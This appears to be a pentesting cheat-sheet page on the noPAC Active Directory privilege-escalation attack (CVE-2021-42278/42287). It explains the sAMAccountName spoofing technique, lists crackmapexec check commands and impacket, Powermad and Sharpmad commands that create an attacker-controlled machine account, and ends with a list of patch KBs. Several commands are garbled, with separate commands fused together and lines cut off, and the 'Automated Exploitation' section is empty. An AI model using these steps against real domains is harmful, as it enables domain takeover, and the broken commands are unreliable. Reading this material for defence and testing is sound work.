noPAC
noPAC samAccountName spoofing CVE-2021-42278 and CVE-2021-42287
During S4U2Self, the KDC will try to append a '$' to the computer name specified in the TGT, if the computer name is not found. An attacker can create a new machine account with the sAMAccountName set to a domain controller's sAMAccountName - without the '$'. For instance, suppose there is a domain controller with a sAMAccountName set to 'DC$'. An attacker would then create a machine account with the sAMAccountName set to 'DC'. The attacker can then request a TGT for the newly created machine account. After the TGT has been issued by the KDC, the attacker can rename the newly created machine account to something different, e.g. JOHNS-PC. The attacker can then perform S4U2Self and request a ST to itself as any user. Since the machine account with the sAMAccountName set to 'DC' has been renamed, the KDC will try to find the machine account by appending a '$', which will then match the domain controller. The KDC will then issue a valid ST for the domain controller.
Requirements:
Check for exploitation
1) Check the MachineAccountQuota of the account
crackmapexec ldap 10.10.10.10 -u username -p 'Password123' -d 'domain.local' --kdcHost StandIn.exe --object ms-DS-MachineAccountQuota=*2) Check if the DC is vulnerable
crackmapexec smb 10.10.10.10 -u '' -p '' -d domain -M nopacExploitation
impacket@linux> addcomputer.py -computer-name 'ControlledComputer$' -computer-pass 'PASS'
powermad@windows> . .\Powermad.ps1
powermad@windows> $password = ConvertTo-SecureString 'ComputerPassword' -AsPlainText
powermad@windows> New-MachineAccount -MachineAccount "ControlledComputer" -Password
sharpmad@windows> Sharpmad.exe MAQ -Action new -MachineAccount ControlledComputerAutomated Exploitation
MITIGATIONS
1) KB5007247 - Windows Server 2012 R2
2) KB5008601 - Windows Server 2016
3) KB5008602 - Windows Server 2019
4) KB5007205 - Windows Server 2022
5) KB5008102
6) KB5008380
Last updated